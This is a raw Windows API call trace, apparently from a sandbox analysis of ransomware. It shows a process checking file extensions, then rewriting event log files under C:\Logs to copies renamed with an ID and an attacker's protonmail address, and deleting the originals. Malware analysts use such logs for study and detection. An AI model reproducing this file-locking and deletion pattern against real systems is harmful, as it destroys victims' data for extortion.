	[0074.823] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.823] SetEndOfFile (hFile=0x2c0) returned 1
	[0074.825] CloseHandle (hObject=0x2c0) returned 1
	[0074.825] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0074.825] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 1
	[0074.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0074.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0074.826] lstrlenW (lpString=".doc") returned 4
	[0074.826] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.826] lstrlenW (lpString=".docx") returned 5
	[0074.826] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.826] lstrlenW (lpString=".pdf") returned 4
	[0074.826] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.826] lstrlenW (lpString=".xls") returned 4
	[0074.826] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.826] lstrlenW (lpString=".xlsx") returned 5
	[0074.826] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.826] lstrlenW (lpString=".ppt") returned 4
	[0074.826] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0074.826] lstrlenW (lpString=".zip") returned 4
	[0074.826] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.826] lstrlenW (lpString=".rar") returned 4
	[0074.827] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.827] lstrlenW (lpString=".bz2") returned 4
	[0074.827] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.827] lstrlenW (lpString=".7z") returned 3
	[0074.827] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0074.827] lstrlenW (lpString=".dbf") returned 4
	[0074.827] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0074.827] lstrlenW (lpString=".1cd") returned 4
	[0074.827] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0074.827] lstrlenW (lpString=".jpg") returned 4
	[0074.827] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.829] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0074.830] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0074.830] lstrlenW (lpString=".doc") returned 4
	[0074.830] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.830] lstrlenW (lpString=".docx") returned 5
	[0074.830] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.830] lstrlenW (lpString=".pdf") returned 4
	[0074.830] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.830] lstrlenW (lpString=".xls") returned 4
	[0074.830] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.830] lstrlenW (lpString=".xlsx") returned 5
	[0074.830] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.830] lstrlenW (lpString=".ppt") returned 4
	[0074.830] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.830] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0074.830] lstrlenW (lpString=".zip") returned 4
	[0074.830] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.830] lstrlenW (lpString=".rar") returned 4
	[0074.830] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.830] lstrlenW (lpString=".bz2") returned 4
	[0074.830] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.830] lstrlenW (lpString=".7z") returned 3
	[0074.830] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.830] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0074.830] lstrlenW (lpString=".dbf") returned 4
	[0074.830] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.830] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0074.831] lstrlenW (lpString=".1cd") returned 4
	[0074.831] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.831] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 57
	[0074.831] lstrlenW (lpString=".jpg") returned 4
	[0074.831] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.831] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0074.831] lstrlenW (lpString="Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 48
	[0074.831] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0074.831] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=1052672) returned 1
	[0074.831] CloseHandle (hObject=0x2c0) returned 1
	[0074.832] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20
	[0074.832] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.832] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0074.832] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.832] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.832] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0074.832] GetLastError () returned 0x0
	[0074.832] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0075.093] WriteFile (in: hFile=0x390, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0075.117] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x1010, lpOverlapped=0x0) returned 1
	[0075.236] WriteFile (in: hFile=0x390, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x1020, lpOverlapped=0x0) returned 1
	[0075.239] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.239] WriteFile (in: hFile=0x390, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x134, lpOverlapped=0x0) returned 1
	[0075.239] SetEndOfFile (hFile=0x390) returned 1
	[0075.801] CloseHandle (hObject=0x390) returned 1
	[0075.839] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.839] SetEndOfFile (hFile=0x2c0) returned 1
	[0075.857] CloseHandle (hObject=0x2c0) returned 1
	[0075.871] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0075.871] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 1
	[0075.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0075.871] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0075.871] lstrlenW (lpString=".doc") returned 4
	[0075.871] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.871] lstrlenW (lpString=".docx") returned 5
	[0075.871] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.871] lstrlenW (lpString=".pdf") returned 4
	[0075.872] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.872] lstrlenW (lpString=".xls") returned 4
	[0075.872] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.872] lstrlenW (lpString=".xlsx") returned 5
	[0075.872] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.872] lstrlenW (lpString=".ppt") returned 4
	[0075.872] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0075.872] lstrlenW (lpString=".zip") returned 4
	[0075.872] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.872] lstrlenW (lpString=".rar") returned 4
	[0075.872] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.872] lstrlenW (lpString=".bz2") returned 4
	[0075.872] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.872] lstrlenW (lpString=".7z") returned 3
	[0075.872] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0075.872] lstrlenW (lpString=".dbf") returned 4
	[0075.872] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0075.872] lstrlenW (lpString=".1cd") returned 4
	[0075.872] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0075.872] lstrlenW (lpString=".jpg") returned 4
	[0075.872] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0075.872] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0075.872] lstrlenW (lpString=".doc") returned 4
	[0075.872] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.872] lstrlenW (lpString=".docx") returned 5
	[0075.872] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.872] lstrlenW (lpString=".pdf") returned 4
	[0075.872] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.873] lstrlenW (lpString=".xls") returned 4
	[0075.873] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.873] lstrlenW (lpString=".xlsx") returned 5
	[0075.873] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.873] lstrlenW (lpString=".ppt") returned 4
	[0075.873] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0075.873] lstrlenW (lpString=".zip") returned 4
	[0075.873] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.873] lstrlenW (lpString=".rar") returned 4
	[0075.873] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.873] lstrlenW (lpString=".bz2") returned 4
	[0075.873] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.873] lstrlenW (lpString=".7z") returned 3
	[0075.873] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0075.873] lstrlenW (lpString=".dbf") returned 4
	[0075.873] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0075.873] lstrlenW (lpString=".1cd") returned 4
	[0075.873] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.873] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx") returned 56
	[0075.873] lstrlenW (lpString=".jpg") returned 4
	[0075.873] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.873] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0075.873] lstrlenW (lpString="Microsoft-Windows-Ntfs%4Operational.evtx") returned 40
	[0075.873] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0075.874] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0075.874] CloseHandle (hObject=0x2c0) returned 1
	[0075.874] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20
	[0075.874] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.874] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0075.874] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.875] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.875] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0075.875] GetLastError () returned 0x0
	[0075.875] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0075.877] WriteFile (in: hFile=0x334, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0075.879] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.879] WriteFile (in: hFile=0x334, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x124, lpOverlapped=0x0) returned 1
	[0075.879] SetEndOfFile (hFile=0x334) returned 1
	[0075.880] CloseHandle (hObject=0x334) returned 1
	[0075.882] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.882] SetEndOfFile (hFile=0x2c0) returned 1
	[0075.883] CloseHandle (hObject=0x2c0) returned 1
	[0075.883] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0075.883] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 1
	[0075.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0075.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0075.884] lstrlenW (lpString=".doc") returned 4
	[0075.884] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.884] lstrlenW (lpString=".docx") returned 5
	[0075.884] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.884] lstrlenW (lpString=".pdf") returned 4
	[0075.884] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.884] lstrlenW (lpString=".xls") returned 4
	[0075.884] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.884] lstrlenW (lpString=".xlsx") returned 5
	[0075.884] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.884] lstrlenW (lpString=".ppt") returned 4
	[0075.884] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0075.884] lstrlenW (lpString=".zip") returned 4
	[0075.884] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.884] lstrlenW (lpString=".rar") returned 4
	[0075.884] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.884] lstrlenW (lpString=".bz2") returned 4
	[0075.884] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.884] lstrlenW (lpString=".7z") returned 3
	[0075.884] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0075.884] lstrlenW (lpString=".dbf") returned 4
	[0075.884] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0075.884] lstrlenW (lpString=".1cd") returned 4
	[0075.885] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0075.885] lstrlenW (lpString=".jpg") returned 4
	[0075.885] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0075.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0075.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0075.885] lstrlenW (lpString=".doc") returned 4
	[0075.885] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0075.885] lstrlenW (lpString=".docx") returned 5
	[0075.885] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0075.885] lstrlenW (lpString=".pdf") returned 4
	[0075.885] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0075.885] lstrlenW (lpString=".xls") returned 4
	[0075.885] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0075.885] lstrlenW (lpString=".xlsx") returned 5
	[0075.885] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0075.885] lstrlenW (lpString=".ppt") returned 4
	[0075.885] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0075.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0075.885] lstrlenW (lpString=".zip") returned 4
	[0075.885] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0075.885] lstrlenW (lpString=".rar") returned 4
	[0075.885] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0075.885] lstrlenW (lpString=".bz2") returned 4
	[0075.885] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0075.885] lstrlenW (lpString=".7z") returned 3
	[0075.885] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0075.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0075.885] lstrlenW (lpString=".dbf") returned 4
	[0075.885] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0075.885] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0075.886] lstrlenW (lpString=".1cd") returned 4
	[0075.886] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0075.886] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx") returned 48
	[0076.205] lstrlenW (lpString=".jpg") returned 4
	[0076.252] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.252] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0076.252] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 46
	[0076.252] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0076.253] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=69632) returned 1
	[0076.253] CloseHandle (hObject=0x350) returned 1
	[0076.253] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20
	[0076.253] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.253] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0076.253] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.253] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.253] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0076.253] GetLastError () returned 0x0
	[0076.253] ReadFile (in: hFile=0x350, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.256] WriteFile (in: hFile=0x358, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.258] ReadFile (in: hFile=0x350, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.258] WriteFile (in: hFile=0x358, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x130, lpOverlapped=0x0) returned 1
	[0076.258] SetEndOfFile (hFile=0x358) returned 1
	[0076.258] CloseHandle (hObject=0x358) returned 1
	[0076.260] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.260] SetEndOfFile (hFile=0x350) returned 1
	[0076.262] CloseHandle (hObject=0x350) returned 1
	[0076.262] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0076.262] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 1
